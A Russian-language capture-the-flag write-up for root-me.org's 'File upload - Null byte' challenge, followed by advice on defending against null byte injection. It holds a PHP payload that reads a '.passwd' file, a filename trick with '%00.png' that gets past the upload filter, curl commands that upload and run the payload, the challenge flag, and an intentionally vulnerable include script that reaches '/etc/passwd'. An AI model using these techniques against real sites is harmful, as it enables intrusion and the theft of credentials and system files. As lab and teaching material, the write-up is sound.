Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - Null byte". За решение задачки дают 25 баллов, ближе к среднему уровню.
В качестве задания предлагается взломать фотогалерею, загрузив файл PHP. Судя по всему, даже код писать не нужно, подойдёт любой PHP файл.
Из названия уже понятен тип уязвимости, встречающийся в веб-приложених, написанных на Java, Perl или, в нашем случае, PHP.
Инъекция нулевого байта (Null Byte Injection или Null Byte Poisoning attack) — обход фильтров проверки веб-приложений путем добавления нулевого байта (%00 или 0x00) в конец строки.
Для работы с файловой системой PHP использует нижележащие C-функции. А в языке C нулевой байт означает конец строки. Поэтому всё что находится после нулевого байта C-функция не обработает.
От слов к делу.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch22/
Нас интересует раздел upload.
Воспользуемся предложением загрузить фото, Upload.
Написано, что разрешены только GIF, JPEG или PNG файлы. Загружаем первый попавшийся PNG.
Файл загрузился, можно открыть его по ссылке.
Создаёмайл internet-lab.php с любым содержимым, например:
<?php
$filename = '../../../.passwd';
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "<b>$contents</b>";
?>
Пробуем загрузить этот файл.
Файл не грузится. Загрузчику не нравится расширение PHP. Попробуем вставить нулевой байт "%00" в название файла, переименовываем "internet-lab.php" в "internet-lab.php%00.png".
С точки зрения операционной системы название файла допустимо. Расширение файла PNG, загрузчик по идее должен такой файл пропустить. А функция C должна прервать выполнение после нулевого байта, тогда окажется, что расширение файла PHP.
Пробуем загрузить.
Файл загрузился, пробуем открыть файл internet-lab.php.
Отлично, вот и флаг: YPNchi2NmTwygr2dgCCF
Валидируем.
Флаг подходит, зарабатываем 25 очков.
Альтернативное решение
Решим задачку вторым способом. Подготавливаем файл x.php%00.png и загружаем его с помощью curl:
curl -i -X POST -F file="@C:/ctf/x.php%00.png;type=image/png;" http://challenge01.root-me.org/web-serveur/ch22/?action=upload
Файл загружен, копируем путь и пытаемся выполнить файл x.php, тоже через curl:
curl "http://challenge01.root-me.org/web-serveur/ch22/galerie/upload/2b49d9d813c181ba3e9c7e563fa297ed/x.php"
Два действия и флаг найден.
Безопасность
Следует фильтровать внешние данные на возможное появление в них нулевого байта до передачи данных обработчикам C.
Скрипт, уязвимый к нулевому байту:
<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
// file_exists возвратит true, т.к. /home/wwwrun/../../etc/passwd существует
include '/home/wwwrun/'.$file.'.php';
// будет подключён файл /etc/passwd
}
?>
Улучшенная версия предыдущего примера с корректной проверкой входных данных:
<?php
$file = $_GET['file'];
// Белый список возможных значений
switch ($file) {
case 'main':
case 'foo':
case 'bar':
include '/home/wwwrun/include/'.$file.'.php';
break;
default:
include '/home/wwwrun/include/main.php';
}
?>
Фильтр для Perl:
$data=~s/\0//g;
Фильтр для PHP:
$file = str_replace(chr(0), '', $string);
Фильтр для Java:
fn = fn.replace('\0', '');